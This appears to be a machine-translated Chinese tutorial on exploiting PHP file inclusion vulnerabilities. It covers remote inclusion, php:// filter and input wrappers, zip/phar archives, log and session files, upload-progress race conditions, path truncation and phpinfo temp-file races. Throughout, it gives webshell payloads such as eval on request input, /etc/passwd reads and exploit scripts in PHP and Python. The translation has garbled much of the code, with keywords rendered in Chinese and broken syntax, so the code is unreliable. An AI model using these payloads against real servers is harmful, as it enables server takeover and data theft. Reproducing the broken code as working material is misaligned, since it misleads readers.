PHP 文件包含漏洞
1 相关函数
包括()包括_once()
要求()
require_once()
2 分类
远程文件包含本地文件包含
3 包含的实现
包括,您不一定需要包括PHP文件(即执行的PHP文件)类似于:A.phps,a.xxx,a.jpg
只要文件包含完整的php代码,例如a.txt,内容是php phpinfo();
4 包含的场景
4.1 上传可控文件
,例如,如果我们可以上传图像,请使用完整的PHP代码传递图像文件,或将代码文件更改为后缀压缩软件包,与伪协议一致
?php?过滤情况:
1
脚本语言='php'@eval($ _ post ['a']);/script
4.2 远程文件包含
4.2.1 条件
允许_URL_FOPEN此选项以URL的形式激活Fopen封装协议,以启用对文件等URL对象的访问。默认封装协议使用FTP和HTTP协议提供对远程文件的访问,并且某些扩展库(例如Zlib)可以注册更多的封装协议。
4.2.2 远程文件包含
[http | https | ftp] : //www.bbb.com/shell.txt如果后缀名称写入死者,可以使用吗?绕过
PYLOAD:
1
aaa.com/1.php?a
4.3 伪协议
4.3.1 PHP 归档
PHAR: //zip: //
DEMO: 有效载荷:
url=zip: //a.zip##压缩软件包中的文件名
url=phar: //压缩软件包中的a.zip/文件名
上传的文件没有后缀名称,只要它是带有zip文件标头的文件,zip文件已更改为jpg,并且zip: //协议仍然可以解析
4.3.2 利用 PHP 流
4.3.2.1 php://filter
Metapacker在打开数据流时设计用于过滤应用程序。这对于多合一文件函数非常有用,例如ReadFile(),file()和file_get_contents(),在读取数据流内容之前,没有其他过滤器。PHP: //滤波器目标将以下参数用作其路径的一部分。可以在一条路径上指定复合过滤器链。要详细使用这些参数,请参阅特定示例。
?file=php: //filter/read=convert.base64-encode/resource=index.php
?file=php: //filter/read=string.toupper | string.rot13/resource=index.php
此外,还有:
1
2
3
4
5
6
7
string.toupper //写在上面
string.tolower //转换为小写
string.strip_tags //删除HTML和PHP标签,例如?php?
convert.base64-concode //base64编码
convert.base64-decode //base64编码
convert.Quoted Printable-engode //引用打印机为8位
convert.Quoted Printable-Decode //与上述相同
演示:
4.3.2.2 php://input
利用条件allow_url_include=on
没有允许的要求
php: //输入可以读取未经处理的帖子数据

PAYLOAD:
url:key=123flag=php: //输入
帖子:123
4.4 日志文件
多次,Web服务器会将请求写入日志文件。例如,当Apache启动请求时,它将编写访问error.log的请求。默认情况下,日志保存路径在/var/log/apache2/www用户无权阅读日志,并且应用程序方案受到限制。
4.5 SESSION
PHP生成的会话文件通常存储在/TMP目录中

4.5.1 session 文件
注册句子用户名,并包括会话文件http://512ab969d9ce414e9349e459f7bf...sess_tftrtvb6t089398jjjl0p1cdvj7a=system('cat flag.php');4.5.2 session.upload
session.upload_progress.enabled默认情况下启用了此参数,需要在php.ini中进行手动配置为OFF。如果不关闭,将在上传过程中生成上传进度文件。它的外观是在上传过程中显示文件的进度,以显示文件上传的信息。它的存储路径可以在phpinfo中获得(如上图所示)
演示:
1
2
3
php
($ =@ get ['Orange'])@substr(file($ )[0],0,6)==='@?php'?包括($ ): Lighlight_file(文件__);
?
此会话文件不必由session_start生成。只要您将cookie: phpsessid=xxx的值发送到服务器,然后使用会话上传上传文件,就会生成这样的会话文件。
通过卷发上传文件:
1
curl http://ip/index.php -h'cookie

这样,您可以控制文件名,然后找到一种控制文件内容的方法。
由于文件上传速度相对较快,因此有时看到保存在会话文件中的上传信息通常为时已晚,并且将被删除。我们可以上传一个相对较大的文件并在条件方面竞争。首先,让我们看一下会话中保存的文件内容。
这是这样的表格,upload.php
1
2
3
4
5
6
7
8
9
10
11
12
form action='upload.php'method='post'enctype='multipart/form-data'
输入type='隐藏'name='?php echo ini_get('session.upload_progress.name');值='iamnotorange' /
输入类型='file'name='file1' /
输入类型='file'name='file2' /
输入类型='提交' /
/形式
php
session_start();
$ name=ini_get('session.upload_progress.name');
$ key=ini_get('session.upload_progress.prefix')。 $ _ post [$ name];
var_dump($ _ session [$ key]);
包括'/var/lib/php/sessions/sess_iamnotorange';
然后几次启动多线程,您可以看到通过有条件竞争读取的文件内容:

您可以发现文件中的upload_progress_是固定且无法控制的。
接下来,还有另一个条件是substr(file($ _)[0],0,6)==='@?php',我想到使用PHP中的伪协议来修改文件内容。
参考:https://www.leavesongs.com/penetration/php-filter-magic.html#_1
Base64的预知
由base64编码的字符串集为[0-9a-Za-Z+/=]
因此,在解码时,遇到除此之外的字符时,这些字符将被跳过。该范围内的字符仅被解码。
在此示例中,_在解码base64时会自动跳过为特殊角色。
因此,只需多次解密以前的upload_progress_即可使其变得空
1
2
3
4
5
6
7
8
9
10
11
$ i=0;
$ data='upload_progress_';
而(true){
$ i +=1;
$ data=base64_decode($ data);
var_dump($ data);
如果($ data==''){
回声'总计:'。$ i,'times \ n';
休息;
}
}
通过脚本,您可以看到以前的内容只能在三次之内转换为空。
但是,由于base64将4个字符解码为一个组。 upload_progress_在三个解码后不满足允许字符为4的倍数(14个有效字符,至少需要16个有效字符),然后将后续字符计入填充中,从而破坏原始的传入PHP代码。
例子
1
2
3
4
5
6
7
8
9
10
函数triple_base64_encode($ str){
返回base64_encode(base64_encode(base64_encode(base64_encode($ str))));
}
函数triple_base64_decode($ str){
返回base64_decode(base64_decode(base64_decode(base64_decode($ str))));
}
$ i=0;
$ data='upload_progress _'。triple_base64_encode('?=\`iD \';');
echo triple_base64_decode($ data);
什么是解码数据?
在这三个解码中,upload_progress_zz在第一个解码后留下四个允许的字符越过。第二个解码不允许字符,第三个解码变为空。
在这三次中,允许的字符数为4的倍数,因此以后通过的PHP代码不会被破坏。
爆炸脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
php
$ str='abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz';
而(true){
$ i=0;
$ data='upload_progress _'。subStr(str_shuffle($ str),10,2);
$ s=base64_decode($ data);
$ s_length=strlen(preg_replace('| [^a-z0-9a-z+/] | s',',',$ s));
$ ss=base64_decode($ s);
$ ss_length=strlen(preg_replace('| [^a-z0-9a-z+/] | s',',',$ ss));
$ sss=base64_decode($ ss);
if($ s_length%4==0 $ ss_length%4==0 $ sss==''){
echo $ data;
休息;
}
}
还有一个要求后续的PHP代码的要求,即不能在三个解密中出现,因为=Base64中只能将其放置在编码的最后填写中。如果它出现在中间,则无法正常解析PHP: //filter/convert.base64-Decode流,并且将报告错误。
在这方面,大师Oragne编写了一个脚本来生成此内容:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
导入字符串
从base64导入b64encode
从随机导入样本中,randint
pareload='@?php file_put_contents('/tmp/web','@?php eval($ _ get [1])?');
而1:
junk=''.join(sample(string.ascii_letters,randint(8,16))))
x=b64encode(有效载荷+垃圾)
xx=b64encode(b64encode(有效载荷+ junk))
xxx=b64encode(b64encode(b64encode(有效载荷+ junk)))
如果'='不在x and'='中,则不在xx中,'='不在xxx:中
打印(xxx)
休息
vvvsm0wytkhhsgrkujfwd1lrzfdabu5jvmpcwu1rntjzbtvtykdkdkdkdkdvvvucexrmk4ywkvjegqwd3par3par3par3hayvdardar3hayvdodoelnvdoelnvtmtrvkjf T1HKAFNFRM5XBGHHYUDKRFOYDFLNR1JHVMTAEMVGAFRHETLRYVDOD1QZBEJMMUJMMUJZVGXGXGVMEWNUZWBXH3YTFSRK5UTMLNMHB6
4.6 ./ 长文件名截断
PAYLOAD
或者page=phpinfo.txt ./././././././././././././././././././././././././././././././././././././././././././././././././。 /。/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/。/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././。 /。/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/。/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
4.7 phpinfo
向服务器上的任何PHP文件提交Form-DATA请求以上传数据时,将生成一个临时文件。临时文件的路径和名称将通过phpinfo获得。然后,当临时文件在很短的时间内删除时,竞争时间包括临时文件并获取网络框架
vulhub/php/inclusion/exp.py at master · vulhub/vulhub
Pre-Built Vulnerable Environments Based on Docker-Compose - vulhub/vulhub
4.8 PHP 自包含
上传- 临时文件会话结束- 删除临时文件
phpinfo() - 临时文件名
中断删除过程
/A.php?include=A.php
通过这种方式,A.PHP将包括自身,当包含的A.PHP尝试再次处理URL的包含请求时,它将再次包括自身,形成无限的递归。递归将导致堆栈爆炸,使PHP无法执行此请求的后续处理,然后可以包括它。
独立,导致PHP停止
演示:
“百度杯” CTF比赛12月游戏- 博客高级版
注册一个帐户,帖子页面存在插入类型SQL注入以获取管理员帐户
登录到管理帐户,发现管理页面下有任何包含
利用独立脆弱性在TMP文件夹中上传网络壳
4.9 PHP 崩溃
本地文件包含漏洞可以使PHP自身包括自身,导致死循环,然后PHP将崩溃。如果有请求在请求中同时上传文件,则将保留该文件。include.php?file=php: //filter/string.strip_tags/resource=/etc/passwd
include.php?file=php: //filter/string.strip_tags/resource=/etc/passwd
可能导致PHP执行段故障
想象一下我可以利用本地文件包含漏洞
在以前的在线分析文章中,本地文件包含漏洞可以允许PHP自身包含,从而导致循环
然后,PHP将崩溃。如果请求在请求中同时上传文件,则将保留该文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env Python
# - * - 编码: UTF-8 - * -
导入请求
导入字符串
导入Itertools
charset=string.digits + string.letters
主机='192.168.43.155'
端口=80
base_url='http://%S:%D'%(主机,端口)
def upload_file_to_include(url,file_content):
files={'file':('evil.jpg',file_content,'image/jpeg')}}
TRY:
响应=requests.post(url,files=文件)
除异常外,E:
打印e
def generate_tmp_files():
webshell_content='?php eval($ _ request [c]);'。encode(
'base64')。strip()。encode('base64')。strip()。encode('base64')。strip()
file_content='?php if(file_put_contents('/tmp/ssh_session_hd89q2',base64_decode('%s'))){echo'flag';}? %(
webshell_content)
phpinfo_url='%s/include.php?f=php: //filter/string.strip_tags/resource=/etc/passwd'%(
base_url)
长度=6
时代=len(charset)**(长度/2)
对于i在Xrange(时代):中
打印'[+]%d /%d'%(i,times)
upload_file_to_include(phpinfo_url,file_content)
def main():
generate_tmp_files()
如果name=='__ -Main __':
主要的()
5 总结
当目标文件中存在漏洞时,无法找到可以包含的文件,也无法获取。有三种方法:借用phpinfo,包括临时文件
使用php_session_upload_progress进行getshell
使用可能导致PHP停止执行的漏洞(例如内存漏洞等),此时上传的临时文件将不会删除。我们可以将高速缓存文件名称打开以获取shell。